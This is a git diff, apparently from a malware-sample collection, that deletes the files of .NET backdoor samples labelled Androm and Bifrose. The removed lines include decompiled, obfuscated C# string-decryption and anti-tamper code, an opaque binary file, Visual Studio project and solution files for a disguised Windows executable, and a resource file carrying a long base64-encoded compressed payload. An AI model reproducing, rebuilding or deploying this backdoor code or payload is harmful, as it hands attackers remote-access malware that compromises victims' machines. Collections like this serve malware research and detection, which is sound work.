\u0005; - private static short \u0008; - private static int \u0006; - private static byte[] \u000E; - private static int \u000F; - private static int \u0002\u2000; - private static \u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002 \u0003\u2000; - - [MethodImpl(MethodImplOptions.NoInlining)] - static \u000F() - { - int num1 = -426164219; - int num2 = num1 - 1979452043; - \u000F.\u0002 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008(9); - int skipFrames = 1; - StackTrace stackTrace = new StackTrace(skipFrames, false); - int index = skipFrames - 1; - StackFrame frame = stackTrace.GetFrame(index); - int num3 = ~-~--~-~~-~(1059686908 - num1 ^ num2) ^ -~~--~~-~-~((num1 ^ -1708053339) + num2); - MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod(); - if (frame != null) - num3 ^= -~~--~-~~(1149007232 - num1 - num2); - Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType; - int num4; - if ((object) type == (object) typeof (RuntimeMethodHandle)) - { - \u000F.\u0003\u2000 = (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) 4 | \u000F.\u0003\u2000; - num4 = num3 ^ (num1 - 1979451816 ^ num2) + index; - } - else if ((object) type == null) - { - num4 = num3 ^ ~--~~-~-~-~((-1777998651 ^ num1) - num2); - \u000F.\u0003\u2000 |= (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) 1; - } - else if ((object) type.Assembly != (object) typeof (\u000F).Assembly) - { - \u000F.\u0003\u2000 = (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) 2 | \u000F.\u0003\u2000; - num4 = num3 ^ num1 - 738984598 + num2; - } - else - { - \u000F.\u0003\u2000 = (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) 16 | \u000F.\u0003\u2000; - num4 = num3 ^ ~--~~-~--~~(1979438949 - num1 ^ num2) - index; - } - \u000F.\u0002\u2000 += num4; - } - - private static void \u0002(byte[] _param0, int _param1, byte[] _param2) - { - int num1 = 0; - int num2 = 0; - int num3 = 128; - int length = _param2.Length; -label_10: - while (num1 < length) - { - if ((num3 <<= 1) == 256) - { - num3 = 1; - num2 = (int) _param0[_param1++]; - } - if ((num2 & num3) != 0) - { - int num4 = ((int) _param0[_param1] >> 2) + 3; - int num5 = ((int) _param0[_param1] << 8 | (int) _param0[_param1 + 1]) & 1023; - _param1 += 2; - int num6 = num1 - num5; - if (num6 < 0) - break; - while (true) - { - if (--num4 >= 0 && num1 < length) - _param2[num1++] = _param2[num6++]; - else - goto label_10; - } - } - else - _param2[num1++] = _param0[_param1++]; - } - } - - [MethodImpl(MethodImplOptions.NoInlining)] - internal static string \u0002(int _param0) - { - int num1 = 77956711; - int num2 = num1 + 1837816693; - lock (\u000F.\u0002) - { - string str1; - byte[] numArray1; - int num3; - while (true) - { - str1 = \u000F.\u0002.\u0002(_param0); - if (str1 == null) - { - int num4; - if (\u000F.\u0003 == null) - { - Assembly executingAssembly = Assembly.GetExecutingAssembly(); - Assembly.GetCallingAssembly(); - \u000F.\u0006 |= 1988982073 ^ num1 ^ num2; - Assembly assembly1 = executingAssembly; - StringBuilder stringBuilder = new StringBuilder(); - int num5 = num1 - 1919747211 - num2; - stringBuilder.Append((char) num5).Append((char) (num5 >> 16)); - int num6 = 1457178686 - num1 ^ num2; - stringBuilder.Append((char) num6).Append((char) (num6 >> 16)); - int num7 = (-1768683592 ^ num1) - num2; - stringBuilder.Append((char) (num7 >> 16)).Append((char) num7); - int num8 = -1300740973 - num1 + num2; - stringBuilder.Append((char) (num8 >> 16)).Append((char) num8); - int num9 = num1 + 1837808501 ^ num2; - stringBuilder.Append((char) num9); - string name = stringBuilder.ToString(); - Stream manifestResourceStream = assembly1.GetManifestResourceStream(name); - int skipFrames = 1; - StackTrace stackTrace = new StackTrace(skipFrames, false); - \u000F.\u0006 ^= (num1 ^ 1989541189) - num2 | skipFrames; - int index = skipFrames - 1; - StackFrame frame = stackTrace.GetFrame(index); - MethodBase methodBase = frame == null ? (MethodBase) null : frame.GetMethod(); - \u000F.\u0006 ^= index + (1993729987 - num1 ^ num2); - Type type = (object) methodBase == null ? (Type) null : methodBase.DeclaringType; - if (frame == null) - \u000F.\u0006 ^= (1989557480 ^ num1) - num2; - bool flag = (object) type == (object) typeof (RuntimeMethodHandle); - \u000F.\u0006 ^= 1837816597 + num1 ^ num2; - if (!flag) - { - flag = (object) type == null; - if (flag) - \u000F.\u0006 ^= (num1 ^ -1988661040) + num2; - } - if (flag == (stackTrace != null)) - \u000F.\u0006 = 32 ^ \u000F.\u0006; - \u000F.\u0006 ^= 1993736617 - num1 - num2 | 1 + index; - \u000F.\u0003 = new \u000F.\u0006\u2004​\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003​\u2009\u2009\u200A\u2000\u2000\u2003\u2003​\u2006(manifestResourceStream); - short num10 = (short) ((int) \u000F.\u0003.\u0002() ^ (int) (short) ~--~~-~-~(num1 - 1993703369 + num2)); - if (num10 == (short) 0) - \u000F.\u0008 = (short) ((int) \u000F.\u0003.\u0002() ^ (int) (short) ~-~--~~-~(num1 ^ 1989538110 ^ num2)); - else - \u000F.\u0005 = \u000F.\u0003.\u0002((int) num10); - Assembly assembly2 = executingAssembly; - AssemblyName assemblyName; - try - { - assemblyName = assembly2.GetName(); - } - catch - { - assemblyName = new AssemblyName(assembly2.FullName); - } - \u000F.\u000E = assemblyName.GetPublicKeyToken(); - if (\u000F.\u000E != null && \u000F.\u000E.Length == 0) - \u000F.\u000E = (byte[]) null; - int num11 = \u000F.\u0002\u2000; - \u000F.\u0002\u2000 = 0; - long num12 = \u0003\u2000.\u0002(); - num4 = num11 ^ (int) (uint) num12 ^ -1478415838 - num1 - num2 ^ -~-~~--~~(545810110 + num1 ^ num2); - \u000F.\u000F = num4; - \u000F.\u0006 = \u000F.\u0006 & (num1 ^ -1721099279) + num2 ^ num1 + 1837823481 - num2; - if ((\u000F.\u0003\u2000 & (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) ~-~--~~-~(num1 ^ -1989535658 ^ num2)) == (\u000F.\u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002) 0) - \u000F.\u0006 = num1 - 1993686153 + num2; - } - else - num4 = \u000F.\u000F; - if (\u000F.\u0006 != (1989446641 ^ num1) - num2) - { - int num13 = _param0 ^ (-1668641839 ^ num1) + num2 ^ num4 ^ 1994045410 - num1 - num2; - \u000F.\u0003.\u0002().Position = (long) num13; - if (\u000F.\u0005 != null) - { - numArray1 = \u000F.\u0005; - } - else - { - short num14 = \u000F.\u0008 != (short) -1 ? \u000F.\u0008 : (short) ((int) \u000F.\u0003.\u0002() ^ (-1989537901 ^ num1) + num2 ^ num13); - if (num14 == (short) 0) - { - numArray1 = (byte[]) null; - } - else - { - numArray1 = \u000F.\u0003.\u0002((int) num14); - for (int index = 0; index != numArray1.Length; ++index) - numArray1[index] ^= (byte) (\u000F.\u000F >> ((index & 3) << 3)); - } - } - num3 = \u000F.\u0003.\u0002() ^ num13 ^ ~-~--~~--~~(-1016057120 - num1 ^ num2) ^ num4; - if (num3 == (num1 - 1993730117 | num2)) - { - byte[] numArray2 = \u000F.\u0003.\u0002(4); - _param0 = (num1 ^ -999205350) + num2 ^ num4; - _param0 = ((int) numArray2[2] | (int) numArray2[3] << 16 | (int) numArray2[0] << 8 | (int) numArray2[1] << 24) ^ -_param0; - } - else - goto label_33; - } - else - goto label_23; - } - else - break; - } - return str1; -label_23: - return new string(new char[3] - { - (char) (num1 - 1993730027 + num2), - '0', - (char) (1993730027 - num1 ^ num2) - }); -label_33: - bool flag1 = (num3 & num1 - 1383408779 - num2) != 0; - bool flag2 = (num3 & -1764366269 - num1 - num2) != 0; - bool flag3 = (num3 & (num1 ^ 157947971) + num2) != 0; - int num15 = num3 & (num1 ^ 2036996164 ^ num2); - byte[] numArray3 = \u0002\u2000.\u0002(numArray1, \u000F.\u0003.\u0002(num15)); - if (\u000F.\u000E != null != (\u000F.\u0006 != -1836208879 - num1 + num2)) - { - for (int index = 0; index < num15; ++index) - { - byte num16 = \u000F.\u000E[7 & index]; - byte num17 = (byte) ((int) num16 << 3 | (int) num16 >> 5); - numArray3[index] = (byte) ((uint) numArray3[index] ^ (uint) num17); - } - } - int num18 = \u000F.\u0006 - 12; - byte[] bytes; - int length; - if (!flag3) - { - bytes = numArray3; - length = num15; - } - else - { - length = (int) numArray3[2] | (int) numArray3[0] << 16 | (int) numArray3[3] << 8 | (int) numArray3[1] << 24; - bytes = new byte[length]; - \u000F.\u0002(numArray3, 4, bytes); - } - string str2; - if (flag1 && num18 == 1839424495 + num1 - num2) - { - char[] chArray = new char[length]; - for (int index = 0; index < length; ++index) - chArray[index] = (char) bytes[index]; - str2 = new string(chArray); - } - else - str2 = Encoding.Unicode.GetString(bytes, 0, bytes.Length); - int num19 = num18 + ((num1 ^ 1989535684 ^ num2) + (num18 & 3) << 5); - if (num19 != num1 - 1992118185 + num2) - { - int num20 = num15 + _param0 ^ 1994633739 - num1 ^ num2 ^ num19 & num1 - 1993728822 + num2; - ref int local = ref num20; - StringBuilder stringBuilder = new StringBuilder(); - int num21 = num1 ^ 1989535715 ^ num2; - stringBuilder.Append((char) (byte) num21); - string format = stringBuilder.ToString(); - str2 = local.ToString(format); - } - if (!flag2) - { - str2 = string.Intern(str2); - \u000F.\u0002.\u0002(_param0, str2); - if (\u000F.\u0002.\u0002() == 9) - { - \u000F.\u0003.\u0003(); - \u000F.\u0003 = (\u000F.\u0006\u2004​\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003​\u2009\u2009\u200A\u2000\u2000\u2003\u2003​\u2006) null; - \u000F.\u0005 = \u000F.\u000E = (byte[]) null; - } - } - return str2; - } - } - - private sealed class \u0006\u2004​\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003​\u2009\u2009\u200A\u2000\u2000\u2003\u2003​\u2006 - { - private Stream \u0002; - private byte[] \u0003; - - public \u0006\u2004​\u2003\u200A\u2006\u2009\u2001\u2008\u2006\u2007\u2005\u2003\u2001\u2001\u2003​\u2009\u2009\u200A\u2000\u2000\u2003\u2003​\u2006( - Stream _param1) - { - this.\u0002 = _param1; - this.\u0003 = new byte[4]; - } - - public Stream \u0002() => this.\u0002; - - public short \u0002() - { - this.\u0002(2); - return (short) ((int) this.\u0003[0] | (int) this.\u0003[1] << 8); - } - - public int \u0002() - { - this.\u0002(4); - return (int) this.\u0003[0] | (int) this.\u0003[1] << 8 | (int) this.\u0003[2] << 16 | (int) this.\u0003[3] << 24; - } - - private void \u0002() => throw new EndOfStreamException(); - - private void \u0002(int _param1) - { - int offset = 0; - if (_param1 == 1) - { - int num = this.\u0002.ReadByte(); - if (num == -1) - this.\u0002(); - this.\u0003[0] = (byte) num; - } - else - { - do - { - int num = this.\u0002.Read(this.\u0003, offset, _param1 - offset); - if (num == 0) - this.\u0002(); - offset += num; - } - while (offset < _param1); - } - } - - public void \u0003() - { - Stream stream = this.\u0002; - this.\u0002 = (Stream) null; - stream?.Close(); - this.\u0003 = (byte[]) null; - } - - public byte[] \u0002(int _param1) - { - byte[] numArray = _param1 >= 0 ? new byte[_param1] : throw new ArgumentOutOfRangeException(); - int length = 0; - do - { - int num = this.\u0002.Read(numArray, length, _param1); - if (num != 0) - { - length += num; - _param1 -= num; - } - else - break; - } - while (_param1 > 0); - if (length != numArray.Length) - { - byte[] dst = new byte[length]; - Buffer.BlockCopy((Array) numArray, 0, (Array) dst, 0, length); - numArray = dst; - } - return numArray; - } - } - - [DefaultMember("Item")] - internal sealed class \u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008 - { - private \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] \u0002; - private int \u0003; - - public \u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008() => this.\u0002 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[16]; - - public \u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008( - int _param1) - { - int length = 16; - _param1 <<= 1; - while (length < _param1 && length > 0) - length <<= 1; - if (length < 0) - length = 16; - this.\u0002 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[length]; - } - - public int \u0002() => this.\u0003; - - private void \u0002() - { - \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray1 = this.\u0002; - int length1 = objArray1.Length; - int length2 = length1 * 2; - if (length2 <= 0) - return; - \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray2 = new \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[length2]; - int num1 = 0; - for (int index1 = 0; index1 < length1; ++index1) - { - string str = objArray1[index1].\u0003; - if (str != null) - { - int num2 = objArray1[index1].\u0002; - int index2 = num2 & length2 - 1; - while (objArray2[index2].\u0003 != null) - { - ++index2; - if (index2 >= length2) - index2 = 0; - } - objArray2[index2].\u0003 = str; - objArray2[index2].\u0002 = num2; - ++num1; - } - } - this.\u0002 = objArray2; - this.\u0003 = num1; - } - - public string \u0002(int _param1) - { - \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray = this.\u0002; - int length = objArray.Length; - int index = _param1 & length - 1; - string str = (string) null; - while (objArray[index].\u0002 != _param1) - { - if (objArray[index].\u0003 != null) - { - ++index; - if (index >= length) - index = 0; - } - else - goto label_6; - } - str = objArray[index].\u0003; -label_6: - return str; - } - - public void \u0002(int _param1, string _param2) - { - \u000F.\u0006\u2007\u2004\u2001\u2009\u2006\u2008\u200A\u2009\u2003\u2001​\u2004\u2008\u2008\u2005\u2001\u2006\u2005\u2002\u2005\u2005\u2004\u2008.\u0002[] objArray = this.\u0002; - int length = objArray.Length; - int num1 = length >> 1; - int index = _param1 & length - 1; - while (true) - { - do - { - int num2 = objArray[index].\u0002; - bool flag = objArray[index].\u0003 == null; - if (num2 == _param1 || flag) - { - objArray[index].\u0003 = _param2; - if (!flag) - return; - objArray[index].\u0002 = _param1; - ++this.\u0003; - if (this.\u0003 <= num1) - return; - this.\u0002(); - return; - } - ++index; - } - while (index < length); - index = 0; - } - } - - private struct \u0002 - { - public int \u0002; - public string \u0003; - } - } - - private enum \u0003\u2009\u2000\u2007\u2004\u2000\u2003\u2003\u2003\u2007\u2006\u2007\u2009\u2003\u2002​\u2009\u200A\u2002 - { - } -} diff --git a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/  ​       b/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/  ​       deleted file mode 100644 index 8c641c88..00000000 --- a/MSIL/Backdoor/Win32/A/Backdoor.Win32.Androm.hdnr-92392a61ec8326d02c20375aa31b3fc87adc2e038afd55b96dedff4b65022267/  ​       +++ /dev/null @@ -1 +0,0 @@ -{ARQ[v{rVA,GB tJ8Z,g6jAQ[g crgws38_1oQ[/"igH*M?ʤQ["Oc/zxQ[3getQ[BR"P^6`XQ[|+>ai{Q[ٷYk-.;b!Q[0%" \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/AssemblyInfo.cs b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/AssemblyInfo.cs deleted file mode 100644 index 1e886428..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/AssemblyInfo.cs +++ /dev/null @@ -1,3 +0,0 @@ -using System.Reflection; - -[assembly: AssemblyVersion("0.0.0.0")] diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/Backdoor.Win32.Bifrose.fsi.csproj b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/Backdoor.Win32.Bifrose.fsi.csproj deleted file mode 100644 index ae8ac19f..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/Backdoor.Win32.Bifrose.fsi.csproj +++ /dev/null @@ -1,47 +0,0 @@ - - - - - Debug - AnyCPU - {10E56AF5-4212-461C-8F60-8B20FD114586} - WinExe - تمويه - 0.0.0.0 - My - - - AnyCPU - true - full - false - bin\Debug\ - DEBUG;TRACE - prompt - 4 - - - AnyCPU - pdbonly - true - bin\Release\ - TRACE - prompt - 4 - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/Backdoor.Win32.Bifrose.fsi.sln b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/Backdoor.Win32.Bifrose.fsi.sln deleted file mode 100644 index 2085952f..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/Backdoor.Win32.Bifrose.fsi.sln +++ /dev/null @@ -1,20 +0,0 @@ - -Microsoft Visual Studio Solution File, Format Version 9.00 -# Visual Studio 2005 -Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "تمويه", "Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1.csproj", "{10E56AF5-4212-461C-8F60-8B20FD114586}" -EndProject -Global - GlobalSection(SolutionConfigurationPlatforms) = preSolution - Debug|Any CPU = Debug|Any CPU - Release|Any CPU = Release|Any CPU - EndGlobalSection - GlobalSection(ProjectConfigurationPlatforms) = postSolution - {10E56AF5-4212-461C-8F60-8B20FD114586}.Debug|Any CPU.ActiveCfg = Debug|Any CPU - {10E56AF5-4212-461C-8F60-8B20FD114586}.Debug|Any CPU.Build.0 = Debug|Any CPU - {10E56AF5-4212-461C-8F60-8B20FD114586}.Release|Any CPU.ActiveCfg = Release|Any CPU - {10E56AF5-4212-461C-8F60-8B20FD114586}.Release|Any CPU.Build.0 = Release|Any CPU - EndGlobalSection - GlobalSection(SolutionProperties) = preSolution - HideSolutionNode = FALSE - EndGlobalSection -EndGlobal diff --git a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/M.resx b/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/M.resx deleted file mode 100644 index b5deacbb..00000000 --- a/MSIL/Backdoor/Win32/B/Backdoor.Win32.Bifrose.fsi-90ef09667cebbff320fddbf9e767a1c73c3b725572223c760d4d8d4ec8ce1ab1/M.resx +++ /dev/null @@ -1,6712 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - text/microsoft-resx - - - 2.0 - - - System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 - - - - - H4sIAAAAAAAEAO29B2AcSZYlJi9tynt/SvVK1+B0oQiAYBMk2JBAEOzBiM3mkuwdaUcjKasqgcplVmVd - ZhZAzO2dvPfee++999577733ujudTif33/8/XGZkAWz2zkrayZ4hgKrIHz9+fB8/In6XP/Y3+DXw/Dq/ - xn//9//6f8DvdPZn/O6/8O7in/nFf+B3fsV3/s3/qP2Lf4M/6A/4LX+3f+tP+j1/s//uH/6j/vn/4k/5 - 737n4vMfv/PXfusP/mfyn8y/f/7b/J7/3H//5/99v/I/+MX/498v//w9h3/+i49/5X/4f/8ev+/57Ncs - /9d/4Tv/zj/9F/yuf9Bf80/9Lr/HL/2Z3+X3+Ogf+N/+6t/jv/43/7e//Q/843////Tf/N/W/9X//X// - yv/7/3z7f/wOf+C/+Tf+rv/i/3j2f//f//O/+vv/6n/zf/vFv///9e/872f/96/6Q/+r//sf/Kf/x//l - V/4fv/Af/Cf+w/91+n//H//j/371f/45/+L//av+w1/xz/9983/lq+9//1/7tz/688//2fxf/yv+1Md/ - /b/5z/5tv/df8eU/+DN//viv+X2O/q8//g/8T/+zq9e/3d0v0dev+ht/1X/7f/4Of2n1x/8Fv+Pf9X// - y3/j//zf/p//zj/4H/+Nv+rt77z69e/+1//3H/hb/Ipf8b1/6V/8D5//0ov/7pfe+1W/47v/+8/5B/+I - /+M/u/gVb/+X//I//f3/V8LvH/xt/sD/6c89+96v/lf/rz/pv7z7v9//pX/87/Gb/i7/x6/5y3+//+QP - /J//1l/9x/27/8f3f6/f4+qX/st/4+/6G/yfx//7v/qL/68/6Pf/T//z32XnL8gXz/7B3+U/+kN/j7N/ - 9z/6K3/l//EX/IP/xL/we+yP/7Lf9U/8z+/+Jf/3X/m//63/7t/wZ1z+g7/Jb/C//qb/5+/wa/2mv8cf - evkH/kP/48O/YP83/qX/9//5f/0B//t/+fsn/+CDf/F3+eVv/4+/4Nf5G//qv/J/+7X/tl/7N/4D/9Zf - +qv/wz/1/3rwN/yyv+Uv+SP+wH//b/y9fpf/48t/8I/42371n/j3/PeXf8Ef9hf+H//Vr/qXf9lf+l9+ - /i/+iX/B7/LZ7/GDX/rLvQ+q/+ZX/Td/4v/1L/7f/9L//T/8nb/6L/0H/+9/8P/8m//Kf/Af/h/+wV/9 - +d/4f/+Jv8f/+m/+W//n7/9//1u//3/6t/4ef/Zf8o/8tX/qv/h/vfvff+IP/B9/l9/zD/s/v/y/Hv2D - /271e/4el//3n/57/O///P/4v/63/8d3/9b/5d/83+7/X//S//3f/5vlH/g//ZH/98l/X/0lv///+R/+ - 3//Kf/ir/8B/9Zd9/n9/7w8c/cG/6v/6v//Xz//vq//w//78l/75gPrH/55/2//9T/3rV0e/+vX//M/+ - h7/NL/3VH/+S//W//U/+1f/xl/yvh//qn/grfo8Xf9Bv9mf+D//X3/gHtr/XL/k/fod/55/88vXv8gf+ - 8b/0V/yB//fv9X//93/hL/u3/8LjP/7//nf/wN/nF/+ff+8f9O/9Lv/nn/bv/N+/V4Up/U3/79//D/xX - f4//7k/5k/63v/H/+lf+x//rd/gH/4k/8Pv/SvWv/XcPfp1/7g/8o/7d/2Nd/br/xb/wu/xfv+n/+Vf8 - gf/WJ7/yV/zf/+fd//Pf/Af/yP/jD//9/q/lH/Gr/rx/5//+jf72//tv/AOv/s1/4Vd8+g8/+Ad/11/y - y/7J//t3Tv+z3+X//pW/5K/75T/zf/6R/9fVP/g7/u3/1/1f+rf+h7/s3/zf/sb/5Y/5e371//hL//z/ - +7/5O/+vfxp8+zf+0ntP/uu/8PH/+R/+Xb/iv/6/n/2ev/Rv/Qff/fKP/8+/IP3v/sZfdvf//At+jf/9 - d/w//+e/8h/8837p//Hrga3/wH/1F/9r//Tv//gv+Qf/qF/nb/0H2z/yp/7vv/kf/BV/4C//M/+lv/D/ - /meq//2P/L//8V/nv/xNiXh/6f969R//evP/67f9T//a3+N//ZX/3q/6S//AP/8//O//wf/9u3/g//5v - /kt/xx/4X/3f/9dv+rd/79//9O6//F9Uf9mn//d/X/0fH/+qf/EP/BV/5f/yi/+r//pP/L/++f/rr/2f - v/uv/eN/4P/6e/yf3/0Hf8H/+X/8jcnP/Nq/3T/4D//+5f/0q//Y3/4X/SF/W/rv/B//8v/9X/2B66df - /F//1X/4X1/96r9x/GfuP/2Ff+y/+Z9Xf8Qf8Sdu/9T//Sv+x7O/7Vf/qX/W//1Lf+2Pfs3/6n//A//v - f+P//h1+yf/8+/+f3/+/f9tf8j//k//34h/8l/6Xj/+B//tv//d+5R/4Z/zf/+fv8qt/x//7y1/+b/8u - /+df+Af+3//3//Un/t//2//62/4n/+P//c/9H3/8//xP/er/+1///X/pP/wb/R//7f/xl/6D/+Xf+D9f - /Z+/3h/xd/3fv9k//0/+Hv/nn/it9MEf+K/8Ln/O//Xdf/Y//PW3f+Z//wN+6f/9b/2P//ev9wf+d7/t - P/gvV//71f/x5/yTf+C/9nv8L3/g//njf+C/9g/+bb/y7V/wf/8Vf+A/+Xu0P/N/ff5//zt/4H/1e/zv - b//8//s//r//pf/9H/xV/8Gv/L9/4qf/t3//L/zdfvK3+z//5v/2P/yvftP/67/7Oz/6wf/1G/+D/9F3 - f+e//g/8I3+P/+uX/4P/yPP/+1/+B//H//F//R3/pf/7D/zzf4//9Zf/Hr/W7/NL/8fFR1/9sb/HH/hr - /x+/av7fEuOe/4H/c/X5//Yvlf/X3/wP/pfV//RP/l//wT/4r/4u/8e/Xf0Bf8D/8ewP+w++/D92/8B/ - +M/9v/+b7/2Dv/bff/p7/l//1f+JWfhN/8D/9Pf/tZ//Lf/nl//K//F7jv6y3+X/+m/+zV/9h/8f/3r1 - P//6//ef8n//N7/y//pfDn//v/4P/O9+0//rd/+///3f9p+8+w/8q5/+rb/H//rgv3jxL1z+vtXdP/AP - /T3+1//twf/2t/+Fj/+vL/7vf+HP/Af/9d/l//4v/s3//b//pf/qP/jLfuX/8Sv+r//t9/8vf9P/ffoX - /t8//n//+7/L//kv/l//zj/4P/4e/8vv/2f/gt/2H/3s/yr+wV/9e/6J/+B/8Xv8yi//gv/r4v/+9//G - //pP/B9+5f/1G++sfoff4uj/+ht/6T/4H/7Rf0T7v/y9/+e//Ff+3//B7/KL//e/8A/+N/+vf+tv/L8+ - 2/qdfs//89f/pfd+8J/+8v/wV6//5P/k5Ms/8P/4H3/lv/sH/9u/9Ff+/n/if/Fn/NSf8Af+xv/Xn/OL - /qI/8f/+c//D75OC/M//09//V/6m/8rf+T/9+//g7/kf/p9/8T/4y//O//3+v/OH/UP/9z/8H/6q9S/9 - 43/nn/5l/92Dk9//D/yn/sBf8fbJd/7vezv/6O/yq/+zBzs//r//ob/0x//gX++//5/+yXvn/8f//PEf - 9q/8Lv/77/V//a2//3/64P/8R7/9z/+fv8Pev/gP/uPf/Qf/xX/hf/83/8+/8f/6E/7H/+jXfv7v/Lv/ - 93/0K778G4kQ//v//D/+r7////m7/4N/82/6n/8eey//r1/2H+7/ef/D7/G//4X/x9/+B/7Tf+DTN7/q - N/6/fu///o/+/f7PX/Y//AG/3fM/5ff43y/+s7/9H/yPH/zx/8kvv/i//oo/5l/9XX6TX/H5yf998h/+ - n4/+wX+i+t8//7//9T/uP6p+vV/n//4b/sPin3n+y3/b/+OP/Q//99/4//prf1X1D7/8pX/+f/g//C4f - /a7/53/z4H+b/oX/x6P/6B/6D/+b//v/+Af/76r4P//73+VX/7V/4L/7K6q/6o+7/pn/8d/8Pf/SX/YH - /i+Yid+4+FV/4P/92/+B/9Lf+A8/+h/+xP/r8z/6l/2Bb3/P//0fPP3+f/JP/t//55/6yR/1W/6S/+03 - 